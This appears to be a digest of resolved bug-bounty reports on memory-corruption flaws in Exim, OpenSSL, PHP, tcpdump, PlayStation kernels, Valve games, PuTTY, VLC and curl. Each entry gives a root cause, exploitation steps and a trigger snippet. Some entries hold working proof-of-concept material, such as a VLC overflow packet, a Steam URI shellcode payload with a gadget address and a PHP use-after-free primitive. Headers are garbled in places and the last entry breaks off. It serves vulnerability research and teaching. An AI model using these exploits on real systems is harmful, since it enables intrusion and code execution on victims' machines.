Program ibbSurface networkChain base64 off-by-one -> heap metadata corruption -> pre-a
Root cause
An off-by-one in Exim's b64decode buffer-length computation writes one byte (or a few) past the allocated heap buffer; with careful heap grooming this single-byte overflow is escalated to full pre-auth remote code execution (CVE-2018-6789).
Method
- Send crafted SMTP data whose base64 length hits the off-by-one boundary
- Overflow one byte past the heap chunk to corrupt adjacent metadata/object
- Groom the heap (per devco.re writeup) to convert the 1-byte overflow into RCE
SMTP conversation with a base64-encoded value sized to trigger the b64decode off-by-one (see devco.re CVE-2018-6789 writeup)
Insight β A single-byte heap overflow in a widely-deployed daemon is often enough for RCE via allocator metadata / adjacent-object grooming; never dismiss off-by-ones as 'just a crash'. Focus on encoders/decoders that compute output length arithmetically.
Real-world example
Heartbleed: OOB heap read via TLS heartbeat length (CVE-2014-0160)
β Critical
Specimen #6626 Β· ibb Β· awarded Β· 10 votes Β· resolved
Program ibbSurface network
Root cause
OpenSSL's TLS/DTLS heartbeat handler trusts the attacker-supplied payload_length and memcpy's that many bytes from the request buffer back to the client without checking it against the actual record length, leaking adjacent heap memory.
Method
- Send a TLS heartbeat request with a tiny actual payload but a large declared payload_length (up to 0xFFFF)
- Server responds echoing payload_length bytes, including up to ~64KB of adjacent heap (keys, sessions, plaintext)
- Repeat to sweep memory
# Heartbeat: type=1, declared length=0xFFFF, actual payload=1 byte
# Server returns 65535 bytes -> reads past the real buffer
# Affected: OpenSSL 1.0.1-1.0.1f, 1.0.2-beta1; fixed in 1.0.1g / -DOPENSSL_NO_HEARTBEATS
Insight β Canonical length-field-not-validated OOB read: whenever a protocol echoes a caller-declared length, verify it is bounded by data actually received. The over-read primitive generalizes to any parser trusting a length header.
Real-world example
PHP xmlrpc_decode use-after-free + OOB read on malformed XML-RPC
β Critical
Specimen #477896 Β· ibb Β· 1500 Β· 8 votes Β· resolved
Program ibbSurface other
Root cause
PHP's xmlrpc_decode() mishandles malformed XML-RPC input, causing both an out-of-bounds read and (more severely) a use-after-free; if an app parses untrusted XML-RPC from a public endpoint it may be escalated to code execution (CVE-2019-9020).
Method
- Send malformed XML-RPC to an endpoint that calls xmlrpc_decode() on untrusted input
- Parser frees an object and then reuses it (UAF) / reads out of bounds
- Crash or, with grooming, code execution
malformed XML-RPC document passed to xmlrpc_decode() (see PHP bugs 77242 / 77249)
Insight β Legacy XML/serialization extensions (xmlrpc, wddx, phar) are consistently memory-unsafe on malformed input and are reachable remotely wherever an app exposes them. Enumerate which parser handles the endpoint and fuzz the exact PHP version.
Real-world example
Heap over-read in phar filename parser via crafted archive (PHP)
β Critical
Specimen #475499 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface otherChain attacker-supplied phar path -> phar parser -> heap oveTag file-upload
Root cause
phar_detect_phar_fname_ext (reached via new Phar()/phar_split_fname) reads past a 64-byte allocation while scanning a crafted phar filename/alias for the extension, an OOB read (CVE-2019-9021).
Method
- Craft a phar whose filename/alias defeats the extension-detection scan.
- Open it: new Phar(contents, 0, 'test.phar') or any phar:// access.
- phar_detect_phar_fname_ext reads beyond the buffer -> ASAN heap-buffer-overflow read.
USE_ZEND_ALLOC=0 php -r "var_dump(new Phar(file_get_contents('poc.phar'),0,'test.phar'));"
// OOB read in phar_detect_phar_fname_ext (phar.c:2011); also phar_parse_zipfile OOB (also_seen 114172)
Insight β The phar:// wrapper is reachable from many PHP file functions (include/file_get_contents/getimagesize with phar://) so a crafted .phar is both a deserialization AND memory-corruption vector. Anywhere an app touches a user-supplied path with phar functions, the phar parser (fname-ext detection, zip parsing) is attack surface.
Real-world example
Stack buffer overflow parsing a file list (tcpdump -V get_next_file)
β Critical
Specimen #724217 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface other
Root cause
tcpdump.c get_next_file() copies a line from a -V file list into a fixed stack buffer (VFileLine) without bounding the length, a classic stack smash (CVE-2018-14879, CVSS 9.8).
Method
- Provide tcpdump a -V file whose line(s) exceed the fixed VFileLine buffer.
- get_next_file copies without a length check -> stack buffer overflow.
- Overwrite adjacent stack frame; with attacker-controlled bytes this is a code-exec primitive.
# tcpdump -V filelist.txt where filelist.txt contains an over-long filename line
# Sink: tcpdump.c:853 get_next_file() -> stack-buffer-overflow (ASAN: underflows VFileLine[1728..])
Insight β Don't only fuzz the packet path of network tools: their CLI/config/file-list argument parsing often uses fixed stack buffers with unchecked copies. A -V/-@/-F style file-of-inputs is attacker-influenced whenever the tool runs on untrusted lists.
Real-world example
Exim BDAT use-after-free to RCE via custom store_ pool allocator misuse
β Critical
Specimen #296991 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherChain custom-allocator UAF -> heap grooming via SMTP -> remoTag webhook
Root cause
Exim's receive_msg() grows the header buffer with store_get()+store_release() as if they were realloc/free. store_release() frees the whole block when the pointer is at a block head, so after a failed store_extend() the new store is cut from the same current_block that is then released, leaving next->text/newtext dangling. The BDAT chunking command makes the vulnerable store_get() path reachable during header reads.
Method
- Open SMTP session and use BDAT chunking so receive_getc is switched to bdat_getc, making store_get reachable mid-header
- Send a header large enough to force header_size doubling and a store_extend() failure
- store_get() cuts newtext from current_block; store_release(next->text) frees that same block -> UAF
- Reoccupy the freed store pool to control subsequent header writes and pivot to RCE
EHLO x
MAIL FROM:<a@b>
RCPT TO:<c@d>
BDAT <chunk-size>
<oversized header line forcing header_size*2 and store_extend failure>
Insight β Applications that implement their own arena/pool allocator (store_get/store_release, custom slab caches) are UAF goldmines: developers reuse them with malloc/free semantics they do not have. Look for extend/grow paths where a 'get new + release old' sequence can alias the same underlying block, and find a protocol feature (here BDAT) that unlocks the vulnerable code path.
Real-world example
Compiler codegen bug -> register desync -> write-what-where (mruby OP_SCALL)
β Critical
Specimen #226200 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface otherChain register desync -> forged RArray -> OP_ARYCAT arbitrar
Root cause
In gen_assignment the default/NODE_SCALL case does `return;` instead of `break;`, skipping the trailing `if (val) push(val);`. The result register is never reserved, so later opcodes (OP_ARYCAT via splat) operate on an unintended register whose contents the attacker controls, letting OP_ARYCAT write to a fake RArray with an arbitrary `ptr`.
Method
- Put an OP_SCALL (safe-navigation `&.`) assignment on the LHS of an OP_ASGN.
- Combine with splat (`*`) so OP_ARYCAT uses the desynced register as its destination.
- Point OP_ARYCAT destination at a forged RArray whose ptr is an arbitrary address.
- Observe SEGV writing to the controlled address (0x42424242) in ary_concat.
x = 0x4242422a
a = *(_&.__=0)
a = *(_&.__=0)
# ASAN: SEGV write at 0x000042424242 in ary_concat (array.c:265)
# fix: change `return;` to `break;` in gen_assignment (codegen.c)
Insight β Bytecode/JIT compilers are a memory-corruption surface distinct from the runtime: a codegen path that returns early can leave the register allocator out of sync, and a later opcode operating on the wrong register becomes a controlled write. When auditing VMs, diff every `return` inside code-generation switch/default arms - they frequently should be `break`.
Real-world example
Truncated trailing multibyte char -> negative length -> memcpy underflow (PHP mb_split)
β Critical
Specimen #476178 Β· ibb Β· 1500 Β· 2 votes Β· resolved
Program ibbSurface other
Root cause
mb_split miscomputes string length when the input ends with an incomplete multibyte character; the bad length is passed as a negative size to add_next_index_stringl -> zend_string_init -> memcpy, causing a buffer underflow / memory corruption (CVE-2019-9025).
Method
- Call mb_split on a string whose final bytes are an unfinished multibyte sequence.
- Length detection underflows to a negative value.
- Negative size reaches memcpy via zend_string_init -> corruption/leak.
mb_split('pattern', $string_ending_in_truncated_multibyte);
// negative len -> add_next_index_stringl -> zend_string_init -> memcpy(neg size)
Insight β Multibyte/encoding length math is a recurring integer-underflow source: feed strings that end mid-character (truncated UTF-8, dangling lead byte) to any mb_*/iconv/charset function. A length that can go negative and then flows into memcpy/alloc is critical memory corruption.
Real-world example
UAF in setsockopt IPV6_2292PKTOPTIONS -> kernel arbitrary R/W (CVE-2020-7457)
β High
Specimen #826026 Β· playstation Β· 10000 Β· 741 votes Β· resolved
Program playstationSurface desktopChain WebKit sandbox -> setsockopt UAF -> hijack ip6po_pktin
Root cause
IPV6_2292PKTOPTIONS in setsockopt lacks locking, so two threads race to free the struct ip6_pktopts buffer while ip6_setpktopt still handles it; the freed struct's ip6po_pktinfo pointer is reclaimed/hijacked to yield arbitrary kernel read/write. Reachable from the WebKit sandbox.
Method
- From the WebKit-reachable context, race two threads calling setsockopt(IPV6_2292PKTOPTIONS) on the same socket
- Free ip6_pktopts while it is in use -> UAF
- Reallocate the freed slot with a controlled object whose ip6po_pktinfo pointer you control -> arbitrary kernel R/W -> kernel code execution
# thread A: setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, opts,...)
# thread B: same, concurrently -> double-handle/free of struct ip6_pktopts
# reclaim with heap spray controlling ip6po_pktinfo -> kR/W
Insight β Missing locks on socket-option structures are a rich UAF source; a freed struct containing a pointer used for later I/O is an ideal R/W primitive. Same FreeBSD bug (CVE-2020-7457) reappears on the PS5 (see #1441103) β one kernel bug ports across console generations.
Real-world example
GoldSrc LoadBMP8 stack overflow via server-delivered overview .bmp
β High
Specimen #397545 Β· valve Β· awarded Β· 321 votes Β· resolved
Program valveSurface desktopChain malicious server -> forced asset download -> file-parsTag file-upload
Root cause
LoadBMP8 reads the overviews/<map>.bmp file loaded on connect without validating dimensions/size, overflowing a stack buffer; a malicious server forces the client to download the file, giving server->client RCE.
Method
- Host a server that runs a map with a non-standard name the client lacks (e.g. definitely_missing_client_map.bsp)
- Ship a matching malformed overviews/<name>.bmp (+ .txt) so the client auto-downloads the missing assets
- On connect the client parses the BMP in LoadBMP8, overflows the stack, and runs shellcode (WinExec calc.exe)
# malformed 8-bit BMP whose header sizes overflow the LoadBMP8 stack buffer; shellcode placed inline runs from stack
Insight β Games/apps that auto-download and parse untrusted assets from a server are a remote attack surface: any file-format parser (BMP/BSP/MDL/NAV) reachable this way is effectively remotely triggerable. Force downloads by referencing a resource the client doesn't have.
Real-world example
PuTTY SSHv1 heap overflow from unchecked servkey/hostkey length
β High
Specimen #630462 Β· putty_h1c Β· 3645 Β· 309 votes Β· resolved
Program putty_h1cSurface desktopChain malicious SSH-1 server -> client-side key length trust -&
Root cause
ssh1_login_process_queue reads server/host key bignum lengths from the SSH1 packet without validating them against the allocated buffer, so a short/oversized key length yields a heap buffer overflow written by the client.
Method
- Stand up a malicious SSH-1 server (patched OpenSSH 6.8p1 with a small key, e.g. rsa1 248-bit)
- Build PuTTY/plink with -fsanitize=address
- Connect: plink -1 -P <port> user@host and observe ASAN heap-buffer-overflow (WRITE size 1) immediately in the key read path
# server hostkey/servkey with attacker-chosen (too-small) length -> client over-writes 31-byte heap region
./ssh-keygen -t rsa1 -b 248 -f /tmp/ssh_host_rsa1_key # craft short key
plink -1 -P 39000 root@localhost # trigger
Insight β Legacy/optional protocol paths (SSHv1) are under-audited. Client-side parsers that trust length fields from the server are a malicious-server attack surface; build the client with ASAN and drive it with a hostile server to surface these fast.
Real-world example
Double free via IP6_EXTHDR_CHECK mbuf on loopback (SOCK_RAW from WebKit)
β High
Specimen #943231 Β· playstation Β· 10000 Β· 298 votes Β· resolved
Program playstationSurface desktopChain WebKit SOCK_RAW -> loopback frag IPv6 -> IP6_EXTHDR_CH
Root cause
IP6_EXTHDR_CHECK can free the mbuf when a packet is sent to the loopback interface, but callers like dest6_input()/frag6_input() don't update the caller's *mp double pointer, so a subsequent next-header parse frees the mbuf again -> double free behaving as UAF. On PS4, SOCK_RAW (normally root-only) is openable from WebKit.
Method
- From WebKit open a SOCK_RAW socket (unexpectedly allowed on PS4)
- Send fragmented IPv6 packets with extension headers to the loopback interface
- IP6_EXTHDR_CHECK frees the mbuf; stale *mp is parsed again -> double free; reallocate mbufs to exploit as UAF
// dest6_input(): IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);
// *offp=off; return dstopts->ip6d_nxt; // *mp NOT updated after possible free
// -> next header handler frees again
Insight β Macros with a free() side-effect (IP6_EXTHDR_CHECK on loopback) demand every caller re-sync its mbuf pointer; audit all call sites, not the macro. Also audit the sandbox capability model: SOCK_RAW leaking into a renderer turns a root-only path into a remote one.
Real-world example
exFAT up-case table 64->32-bit integer truncation heap overflow
β High
Specimen #1340942 Β· playstation Β· 10000 Β· 279 votes Β· resolved
Program playstationSurface desktopChain malicious USB exFAT -> integer truncation -> heap over
Root cause
UVFAT_readupcasetable computes a 64-bit size but passes it to sceFatfsCreateHeapVl whose size arg is 32-bit int; a dataLength like 0x100000200 truncates to 0x200, allocating a tiny buffer while UVFAT_ReadDevice writes the full length -> heap overflow.
Method
- Craft a malicious exFAT filesystem on a USB drive with an up-case table dataLength of 0x100000200 (sectorSize 0x200)
- Insert the USB; size truncates 64->32 bit to 0x200 so malloc is tiny but the read copies far more
- Overflow adjacent heap objects (e.g. spray struct usb_endpoint) -> kernel code execution / jailbreak
# size = sectorSize + dataLength - 1; size -= size % sectorSize;
# sceFatfsCreateHeapVl(0, size) takes 'int size' -> 0x100000200 -> 0x200
# UVFAT_ReadDevice writes 0x100000200 bytes into 0x200 buffer
Insight β Hunt for size_t/64-bit -> int/32-bit narrowing at allocation boundaries: allocation uses the truncated value, the copy uses the full value. Physical/USB attack surfaces (filesystem parsers) are fully attacker-controlled.
Real-world example
sys_fsc2h_ctrl kernel-stack free via multi-thread race (free of stack ptr)
β High
Specimen #2900606 Β· playstation Β· 10000 Β· 235 votes Β· resolved
Program playstationSurface desktopChain 4-thread syscall race -> free of kernel stack pointer -&g
Root cause
In sys_fsc2h_ctrl, CMD_RESOLVE sets a path pointer to a local kernel-stack buffer; a racing CMD_WAIT thread can wake first and free that path, i.e. free() is called on a kernel stack address rather than a malloc allocation.
Method
- Thread1/Thread2 issue CMD_WAIT (0x10001) waiting on path1/path2
- Thread3 issues CMD_RESOLVE (0x20005) setting path2's pointer to a local stack buffer, then sleeps
- Thread4 issues CMD_COMPLETE (0x20003) writing into that stack buffer and waking Thread3
- Thread2 wakes before Thread3 and frees path2 -> free() on a kernel-stack pointer -> corruption/privesc
# 4-thread race across sys_fsc2h_ctrl commands:
# CMD_WAIT x2, CMD_RESOLVE(ptr=stack buf), CMD_COMPLETE(write+wake) -> free(kernel_stack_ptr)
Insight β Syscall command interfaces that share a mutable pointer across threads and later free() it must guarantee the pointer is heap-owned. Model each command as a state machine and race the transitions to find frees of non-heap (stack) memory.
Real-world example
netcontrol double fdrop on socket (unvalidated fd on clear-queue)
β High
Specimen #3320669 Β· playstation Β· 10000 Β· 219 votes Β· resolved
Program playstationSurface desktopChain netcontrol add/clear fd mismatch -> double fdrop -> so
Root cause
netcontrol's clear-queue path (cmd 0x20000007) takes a socket fd from userland and drops the netevent's held reference plus the getsock_cap reference, without validating that the fd actually matches the socket stored in the netevent β enabling a double fdrop (over-release) leading to a socket UAF.
Method
- Add a socket to a netevent via netcontrol cmd 0x20000003 (ref held by netevent)
- Call clear-queue cmd 0x20000007 with a mismatched/duplicate fd so both the netevent ref and the getsock_cap ref are dropped for the same object
- Refcount underflow frees the socket while still referenced -> UAF
# add: netcontrol(if,0x20000003, &sock_fd, len)
# clear: netcontrol(if,0x20000007, &sock_fd, len) -> fdrop(fp) twice on same struct file
Insight β Reference-count management around fd/socket handles is a UAF minefield: any path that drops a 'held' ref without re-verifying ownership/identity double-frees. Diff the add vs remove code paths for asymmetric getsock_cap/fdrop pairing.
Real-world example
PS4/PS5 kernel PPPoE sppp CVE-2006-4304 heap overwrite/overread
β High
Specimen #2177925 Β· playstation Β· 12500 Β· 195 votes Β· resolved
Program playstationSurface networkChain malicious PPPoE server -> option length overflow -> he
Root cause
sppp_ipcp_RCR/sppp_lcp_RCR (and sppp_pap_input) parse PPP option lists where the per-option length p[1] is never validated against the remaining len; bcopy(p,r,p[1]) overflows the malloc'd temp buffer and the rejected-options reply leaks adjacent heap (incl. kernel pointers) back to the malicious PPPoE server.
Method
- Act as a malicious PPPoE access concentrator
- Send IPCP/LCP Configure-Request with an option whose length byte exceeds the real data
- bcopy overflows M_TEMP heap; the CONF-REJ echo returns overread heap bytes (pointers) to you
# PPP IPCP option: type=0x80, len=0x21 but only a few real bytes -> bcopy(p,r,0x21) overflow
# reply CONF-REJ leaks: ..2a ff 41414141... adjacent heap incl. kernel ptrs
Insight β A ~15-year-old FreeBSD advisory (CVE-2006-4304) survived in an embedded stack. Always re-test old CVEs against embedded/console TCP/IP stacks. Length-prefixed option loops that trust the length field give both overflow (write) and overread (info leak) at once.
Real-world example
Half-Life COM_ListMaps sprintf stack overflow via long map filename
β High
Specimen #402566 Β· valve Β· 1500 Β· 163 votes Β· resolved
Program valveSurface desktopChain downloaded map with long name -> `maps *` -> sprintf s
Root cause
COM_ListMaps (engine/common.c) formats installed map names into a stack buffer with sprintf() and no length limit; a map file with an over-long name overflows the stack when the user runs `maps *`.
Method
- Place a map with a malformed/over-long name into valve/maps (deliverable via download)
- Run `maps *` in console to list maps
- sprintf overflows the stack; saved return address becomes 0x41414141 -> runs gnome-calculator PoC
# engine/common.c COM_ListMaps -> sprintf(buf, ..., pszMapName) with no bound
# crash frame: Cmd_ExecuteString text=0x41414141
Insight β Filename/enumeration paths that sprintf attacker-controlled directory entries into fixed buffers are classic locals-become-remote bugs when the files can be downloaded. Audit every sprintf over on-disk names.
Real-world example
Apache mod_prefork scoreboard bucket OOB -> arbitrary function call as root (CVE-2019-0211)
β High
Specimen #520903 Β· ibb Β· 1500 Β· 121 votes Β· resolved
Program ibbSurface otherChain worker R/W (PHP UAF) -> forge mutex in SHM -> corrupt Tag cloud-aws
Root cause
Worker processes have R/W access to the shared-memory scoreboard, including their process_score.bucket index which the root master uses (unbounded) to index all_buckets[] on graceful restart; a rogue worker points bucket at attacker-crafted memory so mutex->meth->child_init() becomes an arbitrary function call executed as root before privilege drop.
Method
- Gain code exec in a worker (e.g. mod_php); here a PHP UAF (zend_object->zend_string len corruption) gives read/write past PHP's heap into the scoreboard and Apache's all_buckets.
- Locate all_buckets by matching the prefork_child_bucket/apr_proc_mutex_t/meth structure signature via /proc/self/maps.
- Write a fake mutex whose meth->child_init points to a useful function (e.g. zend_object_std_dtor -> zend_hash pDestructor set to system) and spray it across unused scoreboard memory.
- Set every process_score.bucket to negative offsets so some worker's all_buckets[bucket] lands in the sprayed region; wait for the daily logrotate 'apache2ctl graceful' to trigger the call as root.
// PHP UAF primitive used to get R/W over post-heap memory:
class X extends DateInterval implements JsonSerializable {
public function jsonSerialize(){ global $y,$p; unset($y[0]); $p=$this->y; return $this; }
}
$y=[new X('PT1S')]; json_encode([1234=>&$y]); // $this survives after unset -> UAF
Insight β Shared-memory control planes with unchecked indices are a privilege boundary: if a low-priv process can write an index/pointer that a root process later dereferences without bounds checks, you get root code exec. The master never exiting defeats ASLR (read /proc/self/maps); restarts are attacker-survivable.
Real-world example
Notepad++ XML encoding-field stack buffer overflow (encodingStr[128])
β High
Specimen #480883 Β· notepad-plus-plus Β· awarded Β· 99 votes Β· resolved
Program notepad-plus-plusSurface desktopChain malicious .xml -> encoding field -> stack overflow
Root cause
In Notepad_plus.cpp the XML parser copies the document's encoding field via _invisibleEditView.getText into a fixed char encodingStr[128] without a bound; a valid XML file with an over-long encoding value overflows the stack.
Method
- Create a syntactically valid .xml with an over-long encoding attribute value (>128 chars)
- Open it in Notepad++
- getText copies the field into encodingStr[128] -> stack buffer overflow / crash
<?xml version="1.0" encoding="AAAAAA...(>128 chars)..."?>
Insight β Even 'safe' desktop editors overflow on metadata fields (encoding, DOCTYPE) copied into fixed buffers. Attack the small, overlooked fixed-size fields of a format, not just the body.
Real-world example
NetBSD-derived PPPoE PADR kernel heap overflow (ACCOOKIE/RELAYSID) CVE-2022-29867
β High
Specimen #1350653 Β· playstation Β· awarded Β· 85 votes Β· resolved
Program playstationSurface networkChain malicious PPPoE server (LAN) -> oversized tags -> PADR
Root cause
pppoe_send_padr computes the PADR packet length including attacker-supplied AC-Cookie and Relay-Session-Id tag lengths, but the mbuf/cluster is under-allocated relative to what is written, so a malicious PPPoE server (PADO with large tags) triggers a remote kernel mbuf-cluster heap overflow with attacker-controlled contents and sizes.
Method
- Act as a malicious PPPoE server on the LAN; respond to the PS' PADI with a PADO carrying oversized AC-Cookie / Relay-Session-Id tags
- The PS stores sc_ac_cookie_len / sc_relay_sid_len and builds a PADR whose data exceeds the allocated mbuf cluster
- Overflow adjacent kernel heap with controlled data/size
# PADO with AC-Cookie (0x0104) and Relay-Session-Id (0x0110) tags of attacker-chosen large length
# -> pppoe_send_padr under-allocates mbuf, overflows cluster during fill
Insight β LAN-adjacent link-layer stacks (PPPoE) are reachable without auth and often ported from NetBSD/FreeBSD with old bugs intact. Attacker controls both size and contents of the overflow via protocol tags β an ideal remote kernel primitive.
Real-world example
libcurl TLS session-cache UAF via stale SSL ex_data across connection reattach (CVE-2021-22901)
β High
Specimen #1180380 Β· curl Β· awarded Β· 75 votes Β· resolved
Program curlSurface otherChain session cache callback -> stale conn/data (UAF) -> con
Root cause
openssl.c registers ossl_new_session_cb and stashes conn/data via SSL_set_ex_data; Curl_detach_connection/Curl_attach_connection never NULL or update those ex_data pointers, so when the session callback later fires it can use a stale conn/data pointer (UAF). If data->share points to attacker-crafted memory, share->lockfunc is called -> code execution.
Method
- Cause a TLS session-cache new-session callback to fire after the connection was detached and reattached to a different transfer
- Callback fetches stale conn/data via SSL_get_ex_data -> use-after-free
- Groom the freed data->share so (share->specifier & (1<<type)) is set and share->lockfunc points to controlled code -> RCE
// callback: data = SSL_get_ex_data(ssl, data_idx); // stale after detach/attach
// Curl_ssl_sessionid_lock(data) -> if(share->specifier & (1<<type)) share->lockfunc() // fake Curl_share -> exec
Insight β When a callback caches raw object pointers via an opaque store (SSL ex_data), every lifecycle transition (detach/attach/free) must invalidate them. Multi-handle/shared-cache reuse is where these stale-pointer UAFs hide; the freed struct's function pointer (lockfunc) is the exec primitive.
Real-world example
PHP phar_parse_pharfile heap over-read via misplaced __HALT_COMPILER()
β High
Specimen #477344 Β· ibb Β· awarded Β· 72 votes Β· resolved
Program ibbSurface otherChain attacker-controlled phar -> phar_parse_pharfile OOB read Tag file-upload
Root cause
A Phar with __HALT_COMPILER(); in unexpected positions makes phar_parse_pharfile (phar.c:973) read past a 10-byte heap allocation (manifest length mishandled), a 4-byte heap-buffer over-read (CVE-2018-20783).
Method
- Build PHP with ASAN and disable the Zend allocator (USE_ZEND_ALLOC=0)
- Load a crafted phar (with __HALT_COMPILER at an unexpected offset) via new Phar()
- ASAN reports heap-buffer-overflow READ of size 4 in phar_parse_pharfile
# php-oob4.phar (base64):
X19IQUxUX0NPTVBJTEVSKCk7CgAAANQpRbJAlS4oDzkKFD1B2bK4fX3DAgAAAEdCTUI=
USE_ZEND_ALLOC=0 php -d phar.readonly=0 -r "var_dump(new Phar('php-oob4.phar',0,'project.phar'));"
Insight β Any endpoint that instantiates a Phar from user-supplied bytes (uploads, phar:// wrappers) reaches this parser. Fuzz language-runtime file parsers with AFL + an ASAN build and USE_ZEND_ALLOC=0 so the native allocator (not Zend's) catches the OOB.
Real-world example
GoldSrc playlist.txt stack overflow in GameUI.dll
β High
Specimen #504951 Β· valve Β· 1000 Β· 62 votes Β· resolved
Program valveSurface desktopChain server precache_generic -> malicious playlist.txt -> GTag file-upload
Root cause
Parsing a crafted playlist.txt track entry in GameUI.dll overflows a stack buffer, giving code execution when the client plays the 'Splash' track.
Method
- Deliver a malformed playlist.txt to the game directory (server can push it via precache_generic)
- Client parses it on startup and overflows the GameUI.dll stack buffer when playing the Splash track
# crafted playlist.txt entry overflows GameUI.dll parse buffer (triggers on client restart)
Insight β Config/text assets (playlists, .res, .txt) are also parsed by native code; precache_generic lets a server drop arbitrary files client-side even if execution is deferred to next launch.
Real-world example
VLC rist RTCP SDES int8 name_length stack overflow (SEH overwrite)
β High
Specimen #489102 Β· vlc_h1c Β· 2817 Β· 62 votes Β· resolved
Program vlc_h1cSurface desktopChain malicious RTCP SDES packet -> memcpy overflow -> SEH o
Root cause
rtcp_input (modules/access/rist.c) reads name_length from the RTCP SDES packet and memcpy's that many bytes into char new_sender_name[MAX_CNAME=128] without validating length, overflowing the stack and overwriting the SEH chain on Windows.
Method
- Set up a VLC rist listener: vlc rist://0.0.0.0:8888
- Send a crafted RTCP SDES (packet type 0xCA) UDP packet where the SDES name length byte drives an over-long memcpy
- new_sender_name[128] overflows, SEH chain overwritten -> control
buf = "\x80" # version/padding
buf += "\xCA" # RTCP_PT_SDES
buf += "\x00\x00" # record length
buf += "\x00\x00\x00\x00\x00"
buf += "\x80" # SDES name length
buf += "A"*232 + "B"*8 + "C"*8 + "D"*200
Insight β A signed/8-bit length field (int8_t name_length) memcpy'd into an equal-sized buffer overflows once framing/offset is added. Network-listener modules (RTP/RIST/RTSP) in media players are a remote attack surface once the user opens a listening URL.
Real-world example
MIME-decode counter underflow β OOB read
β High
Specimen #593229 Β· ibb (PHP) Β· USD 1500 Β· 58 votes Β· resolved
Program ibb (PHP)Surface apiTag file-upload
Root cause
A parse loop decrements a remaining-length counter (str_left) while a pointer (p1) is separately advanced when skipping an unrecognized encoded-word; str_left can underflow to 0/negative so the outer bound test passes while p1 has already run past the buffer end.
Method
- Feed iconv_mime_decode() a MIME string with an unrecognized charset and ICONV_MIME_DECODE_CONTINUE_ON_ERROR set
- Craft the encoded-word so the '?'-skipping while loop exits with str_left==1, then the '=' check decrements it to 0
- Parser reads past buffer during the copy to pretval β OOB read
=?UNKNOWN?B?....?= (malformed MIME encoded-word with unrecognized charset, truncated so the ?-scan runs the pointer off the end)
Insight β When a parser tracks a length counter and a cursor pointer as two independent variables, look for paths where one advances without the other; a bounds check on the counter no longer guards the pointer. Fuzz string-decode functions with truncated/odd-length inputs.
Real-world example
Unbounded strcpy of CLI arg β stack overflow β RCE via URI handler
β High
Specimen #832750 Β· valve Β· awarded Β· 55 votes Β· resolved
Program valveSurface desktopChain browser steam:// URI β hl.exe CLI β stack overflow β EIP conTag account-takeover
Root cause
A command-line argument (-game) is copied with strcpy() into a fixed stack buffer with no length check, overwriting the saved return address; the CLI is reachable remotely via the steam:// browser URI handler.
Method
- Launch hl.exe -game <long arg> to overflow the stack buffer and control EIP
- Deliver remotely via steam://rungameid/70//-game <payload> from a web page
- Because arg parsing forces printable ASCII, use an alpha shellcode and an OS-DLL JMP ESP gadget (low 32-bit ASLR entropy ~1/256)
payload = "A"*524 + struct.pack("<L",0x757d6537) + alpha_upper_shellcode
steam://rungameid/70//-game <payload>
Insight β URI handlers that pass attacker data straight to a game/app command line turn a local stack overflow into a browser-delivered RCE. Enumerate registered custom protocol handlers and trace their args to the target binary.
Real-world example
State-machine local-var reset bug β SOCKS5 hostname heap overflow
β High
Specimen #2187833 Β· curl Β· none Β· 54 votes Β· resolved
Program curlSurface other
Root cause
do_SOCKS sets socks5_resolve_local=TRUE for hostnames >255 in the INIT state, but because it is a re-entrant state machine the flag is a stack local that resets on the next call; a slow proxy hello keeps the connection in a later state so the >255 hostname is copied remotely into an undersized negotiation buffer.
Method
- Point libcurl at a socks5h:// proxy (remote resolve) with a destination hostname >255 bytes (e.g. follow a Location: header to a long .onion)
- Delay the SOCKS server hello so do_SOCKS re-enters in CONNECT_SOCKS_READ, past the INIT length check
- CONNECT_RESOLVE_REMOTE memcpy's the long hostname into the ~65k download buffer (or smaller if buffer_size shrunk) β heap overflow
curl --socks5-hostname proxy:port 'https://<hostname 256+ bytes>/' (attacker Location: header supplies the long host; proxy hello delayed)
Insight β In state machines, guard conditions computed in one state must be persisted in connection/session state, not a stack local, or subsequent states silently skip them. Audit re-entrant parsers for locals that gate a later bounds check.
Real-world example
Unbounded sprintf(%f) of attacker double β fixed-buffer stack overflow
β High
Specimen #1084342 Β· ibb (Python) Β· USD 1500 Β· 51 votes Β· resolved
Program ibb (Python)Surface other
Root cause
PyCArg_repr formats a C-double argument with sprintf(buffer, "...(%f)...", value) into a fixed stack buffer; an extreme value like 1e300 expands to ~300+ digits and overflows the buffer.
Method
- Get untrusted float into a ctypes conversion (e.g. c_double.from_param)
- Trigger repr() of the ctypes argument object
- sprintf with %f writes the huge decimal expansion past the fixed buffer
>>> from ctypes import *
>>> c_double.from_param(1e300)
*** buffer overflow detected ***
Insight β sprintf/%f with no width bound and a fixed char buffer[N] is exploitable whenever the number magnitude is attacker-controlled; %f prints the full non-scientific expansion. Grep for sprintf(buf, ..."%f"... ) on fixed buffers.
Real-world example
Long asset filename with special flag β stack overflow β RCE via malicious map
β High
Specimen #550625 Β· valve Β· USD 2500 Β· 47 votes Β· resolved
Program valveSurface desktopChain malicious server β auto-downloaded map asset β texture loade
Root cause
A texture whose file name is overlong and which sets TEXTUREFLAGS_DEPTHRENDERTARGET triggers a stack buffer overflow in the Source engine's texture loader, overwriting the saved return address; delivered remotely because clients auto-download custom map assets from the server they join.
Method
- Host a CS:GO server with a custom map (e.g. aim_pwn) that includes a crafted .vtf texture
- Set TEXTUREFLAGS_DEPTHRENDERTARGET and an overly long filename on the texture
- Victim connects, downloads map+resources, texture load overflows stack β EIP overwritten (0x61616161)
Crafted .vtf: filename = "A"*N with header flag TEXTUREFLAGS_DEPTHRENDERTARGET set; ship inside custom map served to joining clients
Insight β Game asset loaders (textures/models/maps) auto-fetched from untrusted game servers are remote attack surface; overlong embedded names + rarely-exercised format flags reach unguarded fixed buffers. Affects all Source/Source2 titles.
Real-world example
int-typed output length overflows to negative on large input
β High
Specimen #1113025 Β· ibb (OpenSSL) Β· awarded Β· 43 votes Β· resolved
Program ibb (OpenSSL)Surface otherTag crypto
Root cause
EVP_CipherUpdate/EVP_EncryptUpdate computes output length in an int; an input near INT_MAX plus block padding overflows the int to a negative value, which propagates into pointer arithmetic on the output buffer causing out-of-range memory access.
Method
